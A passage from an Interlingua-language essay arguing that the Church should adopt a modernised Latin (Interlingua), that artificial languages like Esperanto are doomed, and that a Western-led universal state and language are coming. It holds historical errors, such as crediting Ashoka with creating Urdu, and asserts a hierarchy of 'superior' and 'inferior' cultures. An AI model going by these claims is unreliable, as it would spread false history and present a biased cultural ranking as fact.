jesuita in Roma; Germania et alteres seque; como facer, si non provocar un catolicismo nationalisate?\nClarvidentes time le periculo. Singulos era consciente, que Papa Johannes XXIII habeva date a su concilio le motto \" AGGIORNAMENTO\" del Ecclesia in omne partes. Ma anc in iste contexto nemo pensava al latino inveterate, et omnes considerava impossibile un ajornamento del moribunde latino.\nECCLESIA PERDE SU LINGUA - risca su unitate.\nEsque on pote reformar le latino pro facer lo adequate al uso moderne? Le responsa es clar affirmative: Le linguas romanic, neolatin, ja demonstra per lor developpamento natural le linea, le direction in que on debe cercar le amelioration, le \" aggiornamento\" del lingua del Ecclesia.\nMalgrado certe differentias anque in le vocabulario del differente linguas neolatin, scientistas ha collecte 27 000 parolas international, maxime panromanic (Interlingua-English Dictionario IED). Essentialmente panromanic es le grammatica commun in le linguas moderne romanic, que omnes eveni del latino parlate popular. Le vocabulario es maxime international, basate sur le prototypos. Le grammatica analitic lassa le substantivos et adjectivos inalterate et indica lor relationes per parolas grammatical. Talmente parolas exotic et anglo- american pote sin difficultate esser usate in textos moderne - como nos lo demonstra in le texto ci-presentate.\nIste lingua latin moderne, largamente probate in textos medical e scientific, va certemente monstrar se ben apte sin altero pro textos filosofic e teologic (in classic o moderne ortografia). Nulle labor special pro le Ecclesia. Le vocabulario traditional va esser usate tal qual - le sol differentia es, que parolas moderne, anglo-american, francese etc. entra sin complication in le texto latin moderne, que on potera nominar Latino \"aggiornate\", o greco-latin universal moderne. Omne nuances e finessas del pensata moderne, toto que es difficile traducer in Latino Bacci, hic trova expression perfecte moderne.\nCon le abandono del latino le Ecclesia perde su lingua, risca su universalitate. Durante su periodos de expansion le Ecclesia habeva sempre su lingua universal vive; et excambiava su lingua universal quando le vetere lingua universal era devenite insufficiente. Assi le Ecclesia passava del aramaico al koin' e del koin' al latino - e ora le momento es venite pro passar del latino antiquate al latino reformate, al latino del vintesime seculo. Le Ecclesia, facente iste passo, va esser fidel a su tradition. Un lingua universal era sempre un parte integral del Ecclesia Universal. Christo inseniava in aramaico, que alora era le lingua universal del Proxime e Medie Oriente. Pois, quando le Apostolos decideva conquerir le Occidente, illes adoptava le greco universal (koin'): lingua universal del Occidente, e ja secunde lingua universal del Oriente. Quando pois le Ecclesia Roman constatava que in le provincias occidental le grec koin' recede e le greco-latin deveni lingua universal, le Ecclesia Roman non tardava ad abandonar le koin' et adoptar le latino como lingua universal del Ecclesia Roman.\nOra, le latino es decadente, es antiquate et ineffective, como le aramaico era ante le adoption del koin', e le koin' era ante le adoption del latino universal. - Ora il es necesse que le Ecclesia adopta un nove lingua universal. Le natura non tolera vacuo. In le Ecclesia, ubi le latino retira se, linguas national prende le posto del latino. Le linguas national es vehiculos del mentalitate national e del potentissime ideologia del nationalismo. Le linguas national importa in le Ecclesia le mentalitate particularista. Observatores acute ja hodie pote constatar, que, a pena que le uso del latino es substituite per le linguas national, certe tendentias nationalista emerge in alcun paises. Le ecclesia protestante, que ha abandonate le latino, disgregava se in ecclesias national. Le Ecclesia roman risca le mesme periculo, si ella non procura se, in un modo o in un alters, un nove lingua universal moderne, efficiente.\nHodie le Ecclesia pote facer lo como ella ja ha facte tres veces. Basta reimplaciar le latino antiquate per le latino moderne, per le lingua universal nascente del vintesime seculo, comprensibile al ecclesiasticos melio que le latin traditional, - e al catolicos cultivate tamben. Per medio del latino moderne non solo teologos e catolicos, ma cultivate interessatos va comprender lo que Roma dice 'urbi et orbi'.\nLe decadentia del latino ecclesiastic priva le Ecclesia del possibilitate de parlar a omnes in le mesme lingua. Con le 'aggiornamento' ella potera recuperar le chance. Le universitates ecclesiastic potera, como durante seculos, excambiar docentes e studentes de un pais al alteres.\nCap. 4 - LE LINGUA UNIVERSAL NON POTE ESSER UN LINGUA NATIONAL\nCortés, conquisitor de Mexico, habeva enorme difficultates pro organisar e consolidar le vita public in le pais conquisite, proque le differentia cultural e lingual inter Espania e Mexico antique era quasi insurmontabile. Le interpretes non poteva adjuvar sufficientemente. Cort's faceva le experimentia, que su interlocutores mexican diceva un cosa e pensa altere cosa, si que, malgrado le bon voluntate de ambe partes, le pensata mexican remaneva impenetrabile pro ille. Fortunatemente Cortés trovate un sposa mexican, Marina, qui amava le. Amor rende nos capace de comprender nos, - e Marina era un femina educate e sagace. Marina explicava a Cort's le senso, que jaceva detra le parolas de su mexican interlocutores - senso, le qual non es inherente al vocabulo espaniol correspondente al vocabulo mexican, ma es le resultato del tradition de multe generationes mexican. Alora Cortés comprendeva e, con le comprension succedeva organisar multo melio le vita public e le administration. Le resultato es, que Mexico es ora un pais ben consolidate, malgrado que Mexico possede le plus grande proportion de sanguine indian in tote America.\nLe inseniamento de Marina es profundissime tamben pro le pioneros del lingua universal: un lingua national non consiste solmente in le significato de su vocabulos interpretate per vocabulos de un altere lingua national, ma in le tradition total, associate con le vocabulo. Un parte de iste tradition es specificamente national; un altere parte es commun con le altere nationes participante in le mesme civilisation, in tanto que civilisationes son supernational. Le parte specific national remane impenetrabile al estranieros sin previe studios et explicationes profunde e minutiose.\nAl contrario, le parte commun es immediatemente comprensibile, sin previe studios et explicationes. In consequentia, necun lingua national pote servir como lingua universal, proque solmente le parte 'commun' del lingua national es comprensibile al estranieros, contra que le parte specific national remane incomprensibile.\nUn lingua franc et un lingua universal consiste precisemente in le parte commun de omne linguas national participante in le mesme civilisation. Le AKKADIANO, le ARAMAICO, le KOINE-GREC e le LATINO, pro devenir LINGUAS FRANC (et UNIVERSAL) deveva abandonar lor elementos specific national e unir in se omne elementos universal del altere linguas national, participante in le mesme civilisation, vel in le Stato Universal del epoca.\nCaso concrete: LE LINGUA ANGLESE, candidato le plus importante de nostre epoca pro devenir lingua universal, non pote devenir lo sin perder su elementos specific anglese. Totevia, si nos elimina ex le anglese omne elementos specific anglese (anglosaxone) e introduce omne elementos commun in le altere linguas del cultura occidental (specialmente le elementos romanic), nos arriva precisemente ... al lingua del 27.000 parolas universal, in le qual es scripte nostre presente studio. - E le mesme considerationes vale pro omne altere linguas national.\nErgo: le lingua universal debe consister in le vocabulario et in le grammatic structuras sufficentemente commun, in forma et in tradition, in le linguas cultural de nostre epoca. Solmente in tal maniera le lingua universal pote esser le expression del cultura e del tradition commun del mundo, in le qual nos vive.\nUn altere consideration importante es, que un cultura es un toto indivisibile. Le lingua national es inseparabile del cultura national. Adoptar un lingua national como lingua universal significa tamben acceptar le cultura connexe indivisibilemente con le respective lingua national; e significa le prime passo al disfacimento, al diminution et al perdita del proprie cultura e lingua.\nEcce le causa, pro que necun nation vole acceptar un altere lingua national como lingua universal; ecce le causa, pro ja quatro veces durante le historia, on ha optate in favor de un lingua libere de elementos specificamente national - dunque pro un lingua franc.\nNecun grande lingua pote liberar se del proprie grande traditiones specificamente national sin perder su character national, jelosemente custodiate per le patriotas, in nostre epoca characterisate per le floration del nationalismo. O - in altere parolas: Con le abolition del parte specific national nos aboli tamben le parte le plus characteristic e intrinsec de nostre lingua national. Le insistentia super le tradition specific monstra le character aristocratic del linguas national - e le aristocrates non presta se a servicios, per le quales illes debe renunciar a lor tradition. Hic es le causa, pro que omne linguas, que deveniva universal, era linguas franc, linguas de sanguine mixte, linguas absolutemente non aristocratic.\nCap. 5 - LE LINGUA UNIVERSAL NON POTE ESSER UN LINGUAGE ARTIFICIAL\nRenascentia: Humanistas reveni al latino classic, morte.\nLatino, qui habeva servite mille annos como lingua universal del mundo christian occidental como lingua de cultura, lingua- ponte international, iste latino veni in disuso. Con le discopertas de nove continentes veni un nove conception del mundo e del universo. Le nove tempore evelia un nove conscientia national. Documentos public appare in linguas national, et iste linguas del populos - poco a poco prende forma de lingua cultural. Scientias exacte usa ancora le lingua international latin, ma publicationes destinate al grande publico appare in le lingua comprensibile a omnes: in lingua national.\nIn sequentia del reformation, latino deveni un factor politic. Le biblia traducte in germano per Martin Luther es le prime literatura mundial in lingua german. Post le Guerra del Trenta Annos le francese deveni lingua de cultura e lingua diplomatic et aspira a functionar como successor del latino, como lingua universal; non sine opposition.\nLe filosofo francese DESCARTES (1596-1650) remarca le prime le regresso del latino universal, lo deplora, trova le francese troppo complicate, et emitte le idea, que un lingua artificial poterea sequer criterios ideal: le lingua international sia simple e regular, neutral, equalmente facile ad apprender pro omnes. Un generation plus tarde, le filosofo german LEIBNITZ ( 1646-1710) propone, que tal lingua artificial sia basate super le parolas latin.\nDescartes e Leibnitz certo cognosceva ultra lor latino tamben le greco classic e le koin'-grec e sapeva, que Christo parlava con su apostolos in aramaico; ma on considerava aramaico como un dialecto, e le koin'-grec como linguage del commerciantes, forma degenerate del attico. - Assi le propositiones del filosofos, le idea de construer artificial linguas, stimulava le phantasia de numerose 'genios'. Pocos habeva successo.\nLe prime tentativa vastemente propagate era VOLAPšK 1879; illo evelia considerabile interesse, malgrado que illo era absolutemente incomprensibile sine studio special; illo es constructe de pecias irrecognoscibile, taliate ex vocabulos natural fortemente deformate (vola ex angl. world, puk ex angl. speak: volapuk = mundo-lingua). Quando postea in 1887 Esperanto entra in scena, Volapuk cade rapidemente in oblivion. Nam Esperanto ha multe elementos natural, recognoscibile. Ma a lor latere on trova multe parolas artificial incomprensibile. Le structura grammatic es schematic, inventate e innatural. Esperanto attingeva un grande diffusion; totevia in comparation con le plus modeste linguas franc natural, le successo de Esperanto es insignificante.\nLe linguas franc son parlate per multitudes, pro scopos practic, contra que Esperanto es parlate solmente per idealistic entusiastes. De plus, le lingua franc es comprensibile sine studio anterior a cultivate personas e anque per vaste populationes, contra que Esperanto es incomprensibile mesmo a personas polyglotte. Un tentativa de construer un lingua plus comprensibile que Esperanto veniva 1907: IDO = Reform-Esperanto: Vocabulario plus international, ma le grammatica simile al Esperanto, toto artificial. Ultime tentativa vastemente propagate es NEO, que sta inter Esperanto et IDO, cerca internationalitate ma deforma le parolas international: IDO es incomprensibile a prime vista.\nNumerose homines culte considera ancora le linguages artificial como possibile solutiones del problema de un lingua mundial. Illes non sape que in le historia del quatro mille annos passate, quatro veces un lingua universal ha apparite como parte essential del cultura universal, fructo natural del cultura e del pace. In omne casos historic le lingua universal ha apparite como parte interior del civilisation, e non como addition exterior, como le constructores del linguages artificial crede resp. illude se.\nESSENTIAL ES: Lingua es un parte nuclear et essential del cultura. Facer lingua es facer cultura. Cultura artificial es impossibile. Le linguages artificial es facte, como on face productos de massa: sin cultura. Quicunque con phantasia correspondente pote construer un linguage artificial. Ma solmente un evolution millenari pote preparar le nascentia de un lingua universal. Le linguage artificial non ha radices historic, non porta in se un passato abbreviate, como omne esseres vivente. In tanto le linguages artificial son plus morte que le natural linguas morte. Le natural linguas morte era vive in lor tempore, contra que le linguages artificial es nate morte e nunca viveva. Omne esseres vive es historic - omne esseres sin historia es morte. Le lingua ver ha un subsolo historic.\nLe Esperantistas glorifica le stabilitate de lor linguage. Ma solo un lingua morte pote esser stabile. Le lingua vive developpa se, cambia, per que vita es developpamento, cambiamento. Le linguage artificial, definite un vece pro sempre per su inventor-creator, es static, contra que le lingua natural, como le homine mesme, es dinamic.\nApprender un lingua artificial? Pro quo?\nPro le homine de cultura non servi a nil e nullo apprender un linguage artificial, que offere accesso solmente a un minuscule communitate esoteric de entusiastas, membros del 'Club'. Le homine de cultura besonia un lingua, que offere le accesso a omne homines culte - et offere lo sin anterior studio special inutile. Le elementos del lingua universal debe esser tanto universal como le cultura mesme. Le historia offere nos un quadruple prova, que nunca un lingua artificial, constructe, ma sempre linguas natural franc developpava se e fu acceptate como linguas universal.\nIn nostre dies un juvene stato est-african, KENYA, ha adoptate ultra anglese anque SWAHILI, lingua franc arabico-bantu, lingua official del stato.\nLe PRECIO A PAGAR PRO DEVENIR LINGUA FRANC E LINGUA UNIVERSAL ES LE UNIVERSALISATION.\nNon importa qual lingua vole devenir universal id debe submitter se a iste processo. Tamben un linguage artificial: illo debe eliminar toto que es artificial, esoteric; debe transformar se in un lingua natural universalisate. - Le ver tresoreria del lingua universal es le linguas natural. Nos debe prelevar con humilitate e devotion le tresor, que le genio human ha collecte, que es capace de crear tal meravilias de expression, tal testimonios de complexe evolution historic. Nos committe un acto de orgolio et ignorantia, si nos vole substituer le natural tresor per constructiones schematic esoteric. Quanto minus le elementos natural son manipulate, tanto melio. Qui viola le natura e le lingua human, separa se del natura human, del comprensibile, del expressive e del familiar - e perde le characteristicas essential del lingua human.\nUn del consequentias fatal del SCHEMATISMO del linguas artificial es le MUTILATION de formas natural, pro accordar les con le regulas schematic prestabilite per le inventor. Iste reconstruction del vocabulario ex vocabulos alterate, taliate, mutilate e combinate con prefixos, suffixos e desinentias artificialmente selecte, produce un vocabulario semi-artificial, et si le vocabulos, prefixos, suffixos e desinentias son extracte ex natural linguas. Pois, iste processo aperi le portas al arbitrarietat: alteration, mutilation, prefixos, suffixos e desinentias depende del gusto subjective. Le porta es aperte a capricios, arbitrari discussiones interminabile.\nAl CONTRARIO: Le NATURALISMO interlinguistic ha un fundamento objective e stabile. Hic anque differentias de opinion e discussiones son possibile, ma in punctos secundari, e sovente plure solutiones son equalmente justificate, e son con bon derecto a tolerar: Lingua ric!\nLINGUA ARTIFICIAL ES PURMENTE RATIONAL ma le ration es solmente un facietta del physhe human. Altere faciettas es le intuition (independente del ration), e le sentimento (essentialmente irrational). Le lingua natural es le incarnation del parte communicabile del physhe: del ration, del intuition e del sentimento. Le linguage artificial es un producto del ration sol, dunque non pote esser un medio adequate al expression intuitive e sentimental: le linguage artificial remane sempre un specie de codice rational in veste de lingua, con vocabulos troppo rigidemente definite, como omne productos purmente rational - como modellos gelate.\nAl contrario, le vocabulos natural ha un senso large et elastic, correspondente al varie experientias que serviva a forgiar le vocabulo. Le elusive mobilitate e complexitate del phenomenos de experientia human non es respresentabile per le notiones quasi geometric del linguages artificial, creaturas de un logica abstracte. On non pote crear un lingua vive per logica, ma solo per tradition. Parolas natural ha lor proprie sapor, peso, sonoritate, temperatura, textura, forma e scopo: omnes qualitates preciose del vita. Omne tal qualitates manca al parolas artificial. Le ric qamma de significationes de un vocabulo natural non pote esser exhauste per un vocabulo artificial coordinate arbitrarimente al vocabulo natural, pro que al vocabulo artificial manca le significationes accessori traditional, que accompania le vocabulos natural - si que al vocabulo artificial manca le plenitude cultura. Al lingua artificial manca le cultura.\nPAROLAS SON SYMBOLOS.\nUn simbolo non es un reproduction, ma solmente un illumination del objceto. Dunque, un simbolo, le qual illumina le objecto, es bon - contra que le simbolo que obscura le objecto, es mal. Un vocabulo natural, con su ricchissime associationes, es un bon simbolo, proque le associationes illumina le senso. Un vocabulo artificial non illumina le senso, proque illo non ha associationes natural. Le linguage artificial cerca a plenar un vacuo, que es infinitemente plus grande que un linguage artificial - tanto grande, que solo un lingua universal natural pote plenar lo.\nHISTORIC STUDIOS, non un idealismo nebulose, ha date, ha suggeste al autor le idea, que le lingua universal es un phenomeno natural, durante, le ultime quatro mille annos. In iste perspeetiva, le lingua universal naseente de nostre epoea es un facto historie. Historic factos non son discutibile, ni alterabile, ni negotiabile, si que un compromisso inter naturalitate et artificialitate in lingua universal es impossibile.\nLe adeptos del LINGUAS ARTIFICIAL, le amicos de ESPERANTO et alteres, qui defende projectos artificial o semiartificial, non pote ignorar le facto historic, que durante quatro mille annos quatro linguas universal sempre era precedite per linguas frane, comprensibile a omne personas cultivate o interessate al relationes international. Le 'guerra civil' inter le linguas artificial debe cessar. Homines de bon voluntate sape ex nostre studio historic, que non un lingua artificial va devenir lingua universal, sed le lingua franc maxime comprensibile, maxime international e natural.\nLe scopo del presente studio es de suggerer a illes, que nos debe imitar le linguas universal historic pro haber le plus grande chance de esser adoptate. Le lingua del 27.000 vocabulos international, collecte scientificamente in le IED de IALA (Interlingua-English Dictionary, GODE) pote esser considerate como le lingua franc, precedente le Lingua universal que nos expecta a vide venir.\nCap. 6 - FACTORES FAVORABILE AL EMERGENTIA, AL REAPPARITION DEL LINGUA UNIVERSAL.\nOmne phenomenos universal de nostre epoca constitue factors favorabile al reapparition et al uso del lingua universal. Tal phenomenos mundial son multes: - democratia et industrialismo, - acceleration del progresso cultural, - explosive augmento del population, - urbanisation crescente, - traffico, turismo e diaspora - \"intelligentsia\" - character del linguas e del homine presente.\nNos va tractar iste phenomenos in le capitulo presente. Altere factores, como le progresso del civilisation, le religion e le ideologia, va esser tractate in le capitulos sequente.\nDEMOCRATIA et INDUSTRIALISMO\nes due potentissime fortias social de nostre epoca. DEMOCRATIA es fundate super le idea del fraternitate universal. Democratia es incompatibile con esoterismo, clique, intolerantia et arbitrietate, le quales son contrari al spirito del fraternitate. Esoterismo e le spirito del clique produce intolerantia, intractabilitate, staticismo, conservatismo, dogmatismo, autocomplacentia et arbitrarietate. Le linguages artificial son esoteric e non ha fundamentos objective: lor detalios es subjective e arbitrari. Al contrario: Le lingua universal natural ha su fundamento objective in le linguas natural, ex le quales le lingua universal es extracte. Democratia require un lingua universal cargate e cargabile con valores cultural. Un lingua artificial es sin valores cultural; al contrario, le lingua universal natural es herede de omne valores cultural natural.\nDemocratia dunque favora le emergentia de un lingua universal natural.\nINDUSTRIALISMO es un fortia, pro le qual le confinios del statos national es troppo stricte. Le industria besonia como mercato le tote mundo, dunque labora pro le unification economic e linguistic del mundo. Con su propaganda, con su activitates commercial e tecnic, le industria es un efficiente factor del expansion linguistic. Le industria besonia como clientes omne homines, dunque debe superar le barrieras linguistic. Pois, le progresso del unification economic produce le tendentia del unification politic (como nos vide ora in Europa), le qual es in le strata al constitution del Stato Universal, introductor del lingua universal.\nComo phenomeno human mesme, le LINGUA es submisse al EVOLUTION. Le developpamento comencia lentemente, pois accelera se. Le evolution del prime mammales ex le prime esseres vivente, durava 1500 milliones de annos; le evolution del sub-homine ex le mammales durava solmente 150 milliones de annos; le evolution del 'homo sapiens' ex le sub-homine, solmente 1-2 milliones de annos. Le acceleration in le hominisation es evidente. Le mesme acceleration vale pro le developpamento del linguas.\nLe primitive linguas del bandas collectori-chassatori existeva circa un million de annos. Le prime lingua regional emerge ex le hibridation de linguas primitive ante circa 15.000 - 20.000 annos. Le prime lingua universal appare ante 4000 annos. Le passo del developpamento del linguas es accelerate specialmente per le progresso del tecnologia de nostre epoca. - In le passato le homine ja habeva epocas de accleration del developpamento in tecnologia e lingua, sequite per epocas de relative stagnation.\nLe neolitic revolution, le introduction del agricultura e del elevation de bestial, era tal acceleration.\nLe invention del metallurgia e del scriptura, le melioration de vaste paludes per controlo del aqua dava altere accelerationes, que portava le homines in le epoca del civilisation. Le presente acceleration del developpamento tecnologic introduce nos in un epoca de supercivilisation. Omne tal developpamentos revolutionari de cultura e civilisation apporta regularmente cambiamentos del vita social e del lingua. A longe vista, il es impossibile conciliar le evolution accelerate del tecnologia, del cultura e del civilisation con le attitude conservative in vita social et in lingua.\nLe decadentia del latino in nostre epoca, in consequentia de su non-developpamento malgrado le developpamento tecnic e cultural, es un prova. Le apparition del lingua franc universal del 27.000 parolas universal es un altere prova.\nLe neolitic revolution agricultural, creante le necessitate de un commercio considerabile, initia le superamento del barriera lingual, le creation de linguas franc. Le developpamento politic del Statos Universal crea le prime linguas universal. Nostre revolution industrial es un fortia pro promover le creation de un lingua universal pro le tote mundo, nam le industria de nostre epoca besonia le tote mundo como mercato e como fornitor de prime materias. Le conquesta del civilisation es tamben le conquesta del barriera linguistic - conquesta initiate per le linguas franc e terminante con le linguas universal, flores preciose del civilisation. Le evolution accelerate del ivilisation universal de nostre epoca va esser completate per le conquesta accelerate de omne barrieras linguistic, per medio de un lingua universal pro le mundo integre.\nLe effortio pro crear un nove lingua franc promovibile a lingua universal, pote esser considerate como un effortio pro accelerar le developpamento natural. Fin ora le developpamento de un lingua franc era, generalmente, spontan. Totevia, nos habe al minus un exemplo de developpamento per un effortio consciente: le URDU, create per le hibridation del neopersiano con le hindi, per le initiativa del imperator Ashoka, como nos ha viste in le cap. 2 del tertie parte. Le creation del URDU era un successo multo durabile; le URDU deveniva un del grande linguas de India, vastemente usate tamben hodie. Sin dubita, le base del successo es le naturalitate del urdu, ric in traditiones et associationes cultural.\nTamben le progresso del linguas es accelerate. Sempre nove linguas regional deveni litterari e pretende esser studiate per estranieros! Assi, tamben le necessitate de un lingua litterari commun pro le tote mundo es sempre plus urgente - et iste urgentia accelera le emergentia del nove lingua universal.\nLe explosive augmento del population produce un pression, que avicina homines parlante linguas differente e favora le nascentia de linguas franc. Nos debe esser preste, que le population del mundo va duplicar e triplicar se in un futuro non distante. Le alimentation de un si vaste population non es possibile, si le nationalismo non permitte de tractar tote le superficie del terra como unitate pro le production e distribution de alimentos. Iste operation global va esser indispensabile, pro que le maxime augmento del population trova se in le paises con production minime - si que le productos de USA, Canada, Australia e Francia debe esser distribuite in India e China. Assi un Autoritate Universal de Alimentation esser... necessari, que va besoniar un lingua universal.\nLe urbanisation crescente face coalescer le citates separate in supermetropoles, nominate megalopoles. Le causa del migration del population rural al citates es le mecanisation del agricultura, le reduction del numero de personas occupate in le areas rural. Le urbanisation crescente mitte le paisanos in contacto con le multitude urban, ubi obreros estran parla lor differente linguas. Multes resta in gruppos national, isolate del population local e apprende un minimo del lingua del pais.\nAssi le urbe, con su multitude compresse in minime spatio es un crucibulo pro le nascentia de differente linguas franc.\nIste phenomeno in dimensiones catastrofic monstrava se in sequentia de guerras o de 'decolonisation'. Iste massas de 'PERSONAS DISPLACIATE', dissemina le elementos de lor linguas in le ambiente estranie e promove le formation de linguas franc.\nLe TRAFFICO TURISTIC E COMMERCIAL demanda un massa de documentos e certificationes: valor mundial.\nDocumentos personal: gruppo sanguin, vaccinationes contra maladias infectiose, allergias contra certe medicamentos; documentos international del automobile, assecurationes, etc.\nHodie on ha tal documentos de uso international in lingua anglese e francese, in un anglese e francese difficile a comprender, malgrado que in ambe linguas le expressiones medical son largamente greco-latin international. Con un modeste cognoscentia del lingua international le intercomprension (mutual) del personal medical serea multo plus facile.\nSIGNALES E MARCATIONES STRATAL\/AUTOSTRATAL\nLe optime comprensibile internationalmente son imagines. Melior ancora son imagines con textos bilingue: Texto in nigre in lingua local; texto in blau o verde in lingua international. Talmente on apprende le texto international a casa e comprende le mesme texto international in altere paises.\nCon le parola, usate primo per RUSSOS, on nomina \"intelligentsia\" le interpretes de un cultura e lingua superior, invasori. Le 'intelligentsia' cerca a valorisar al proprie populo le cultura e lingua invasori, et interpreta le cultura invasori in le lingua e conceptos del proprie populo. In mesme tempore, le 'intelligentsia' cerca tamben a interpretar cultura e lingua del proprie populo in le lingua et in conceptos del cultura e lingua invasori.\nEste rolo del 'intelligentsia' es perciose non solo pro le proprie populo, ma tamben pro le invasores politic; le activitate del 'intelligentsia' rende realmente possibile le cooperation inter invasores e le pais occupate, per le formation de linguas franc.\nPois, quando le paises invase libera se (e illos sempre libera se, tosto o tarde) le intelligentsia prende le poter politic. Ora nos observa in omne paises liberate del si-nominate 'colonialismo', que le intelligentsia non solo prende le poter, ma continua con energia le occidentalisation cultural e lingual, in modo plus radical que faceva anteriormente le regime colonial. Assi le intelligentsia crea statos standardisate secundo le modello occidental, bastante uniforme pro servir como cellulas de construction pro grande statos federative, tamben pro un Stato Universal.\nNaturalmente non manca contraattaccos del ultranationalistas. Puristas e chauvinistas tenta a refusar cultura e lingua invasori. Ma omne tal contra-attaccos non ha successo durabile, si le cultura invasori es vermente superior. - Hodierne 'intelligentia' occidental dispone de un absolute arma cultural e lingual que non existeva ancor in le epocas de expansion del antique culturas e linguas: Le general education compulsori, scola obligatori e servicio militar. Assi le juvene generationes eni occidentalisate in massa.\nIn nostre seculo le transformation interior de EUROPA, del agricultura al industrialismo, e le contemporan expansion al ultramar, imponeva un immense effortio a Europa. In medio de este effortios Europa faceva le due guerras mundial, le plus grande e plus exhaustive del historia, si que Europa non poteva plus expander su energia extra Europa; sed illa ipse besoniava adjuta american pro restablir se. Le regression in Europa ha causate le liquidation del colonias. Interessante es, que in le colonias, de facto e de jure libere, resta ancor un notabile influentia cultural e tamben lingual. Le colonias liberate, guidate per lor 'intelligentsia' retene le cultura a le uso del linguas (franc) european (anglese resp. francese). Le linguas european ha date optime prova de capacitate de superviver, tamben sin adjuta del poter militar et administrative. Este factos son a considerar, quando on estima le chances de un lingua universal, e de su character occidental.\nUn factor multo favorabile pro le formation del nove lingua universal es le facto, que le linguas del Occidente son consanguin e congenial: illes viveva junctes, como infantes in le casa de lor Matre Latin e de lor Ava Grec, permeate per le spirito del message de un senior parlante le lingua de lor Bisava aramaic, filia de sanguine del Bis-Bis-Ava Akkadian, lingua parlate per le patriarca Abraham, emigrate ex le Sumer- Akkadian Stato Universal. Assi, omne historic linguas universal es spiritual e corporal ancestres del linguas del cultura occidental e tamben del nove lingua universal nascente. Post vita separate durante seculos, le filias adulte, vivente, incontra se de novo in le casa del Matre, Ava, Bisava e Bis-Bis-ava, e da vita al quinte lingua universal. Ver es: omne linguas universal extincte ha date contributiones plus minus importante a nostre linguas moderne. Il va esser un interessante labor pro un linguista semitista monstrar quanto de lo que nos ha ex lingua grec o arabe, ex aramaic si non akkadian o mesmo sumerian (como le parola 'canal' e su derivatos, vide Duden).\nCap. 7 - CIVILISATION MUNDIAL E LE FUTURO DEL LINGUA UNIVERSAL\nNos ha viste que le Lingua Universal es un producto intrinsec, interior, essential, typic et inevitabile del civilisation. Pro obtener un juste vision del futuro del lingua universal, nos debe studiar le presumibile, probabile futuro del civilisation.\nActualmente nos ha cinque civilisationes supervivente:\n1. nostre proprie civilisation christian occidental, que domina West-Europa, America, Australia, Nove-Zelande, e ha insulas in Asia et Africa.\n2. le civilisation christian ortodoxe, que domina Russia european et asiatic; le repression del religion in Russia non pote cambiar le origine christian del civilisation, que es de origine byzantin (= ortodoxe) christian; le fraternitate del homines, - malgrado que le communismo non recognosce le paternitate del Transhuman Presentia Spiritual, le fraternitate es precari sin un Patre commun.\n3. le civilisation islamic ha radices solide in le Proxime e Medie Oriente, in India et Africa;\n4. le civilisation hindu ha su dominio in le sub-continente de India et in altere partes de Sud-Asia;\n5. le civilisation extrem-oriental reside in China e Japon.\nLe civilisationes presente es affiliationes de plus antique civilisationes exstincte. Le due civilisationes christian es sucessores del extincte civilisationes hellenic (greco-roman). - Le civilisation islamic es herede del extincte civilisation syriaco-aramaic. Le civilisation hindu es herede de un extincte civilisation de India. Le civilisation extreme- oriental es herede de un extincte civilisation de China.\nDurante le ultime quatro seculos le civilisation christian occidental expandeva se ultra le oceanos, penetava in le non- occidental civilisationes multo profundemente et impregnava les in un mesura plus intensive que le historia del civilisationes ha viste jammais. Il es ver que tamben le expansion del civilisationes extincte era considerabile. Le civilisation summer-akkadian, - matre de omne civilisationes - expandeva se e propagava le lingua akkadian ab su cuna in Irak in omne directiones del terra. Le civilisation syriaco-aramaic, propagate per le fenicios navigante al costas mediterran de Africa e de Europa, durante que avantiava fin al Extreme Oriente super le continente asiatic. In Peking on ha discoperite inscriptiones trilingue del epoca del dinastia manchu, scripte in alfabeto aramaic, e non in hieroglificos chinese.\nTamben le extincte civilisation hellenic (grecoroman) expandeva se a tote Europa e grande parte parte de Asia. Como resultato del expansion de civilisationes extincte e presente, le mundo es super le puncto de unir se in un grande societate. Le consumption del unification va esser le obra del civilisation occidental, si que le influentia del elemento neolatin (romanic) va esser superior al influentia del elementos non- occidental.\nUn civilisation o un cultura pote expander se solmente al detrimento, al costo de un altere civilisation o cultura, nam omne populos ha un certe cultura. Le historia demonstra, que omne resistentia de un populo con un cultura inferior contra le invasion de un cultura superior es van. - Le acceptation partial del cultura invasori, con partial preservation de cultura proprie, es le sol modo possibile pro le populos con cultura inferior; modo que pote devenir creative. - Per exemplo: le prime christianos accepta le cultura grecoroman in omne campos non-religiose, ma preserva lor proprie religion; illes interpreta lor religion in le lingua et in notiones del cultura grecoroman. Le resultato es: comprension reciproc. Le presentation del christianismo in veste filosofic e linguistic grec convince e converte grecoromanos, specialmente le classe culte - e le classe non-culte imita le cultes. Assi, le interpretation de un cultura in terminos de un altere cultura es un agente de unification.\nTotevia, malgrado le interpretation, le cultura superior continua su expansion, incluse le lingua, que es le vehiculo del cultura. Le historia demonstra, que le expansion cultural e lingual es le precursor del establimento de un Stato Universal, que postea va promover le vehiculo del cultura a LINGUA UNIVERSAL. Assi, le radiation del cultura e lingua sumer- akkadian era le preludio al establimento del Sumer-Akkadian Stato Universal, le qual ha promote le akkadiano a lingua universal. Pois, le expansion del cultura e lingua syriaco- aramaic era le preludio al establimento del Stato Universal Medo-Persian, que ha promote le aramaico a lingua universal.\nLe expansion del cultura hellenic era jam in uso in le paises oriental, quando Alexandro le Grande ha establite le Stato Universal Hellenic con koine grec como lingua universal. - E le expansion del cultura greco-latin e del lingua latin in Europa era le introduction al institution del Stato Universal Roman e del promotion del LATINO a lingua universal.\nNostre mundo presente non ha ancora le unitate politic. Nos somos in lente via al unitate e nos pote vider le direction. Le expansion del cultura e del elementos lingual occidental monstra un voga irresistibile. In nostre vision millennari nos ibi vide signos premonitori del advento de un specie de Stato Universal. Solo un Stato Universal potente va realisar le unification politic. Solo un governamento super populationes con linguas differente ha interesse a un unic lingua administrative pro omne populos, a un superlingua comprensibile a omnes.\nNaturalmente, con su expansion, le cultura e le linguas occidental va inglobar multe elementos non occidental: Le RESULTATO va esser un CULTURA e LINGUA HIBRIDA, con predominantia del cultura e linguas occidental.\nPote nos sperar que tal Stato universal va nascer in un futuro previsibile? Pote nos, ex le historia, previder, presentir, como va esser, qual forma va haber este stato universal? Certo!\nLe Stato Universal a venir va esser un FEDERATION DE STATOS submisse a un autoritate central, universal; probabilemente illo va esser un federation de federationes.\nOmne actual organisationes international (ONU-UNO), le organisation del Nationes Unite, e su sub-organisationes, son confederationes multo troppo laxe, p.Ex. UNESCO etc. Le historia insenia nos que tal associationes e confederationes laxe non es bastante stabile e durabile pro realisar obras importante. Illes non mane longe tempore in lor stato original: disgrega se o transforma se in federationes plus stricte con un certe homogeneitate social, economic e 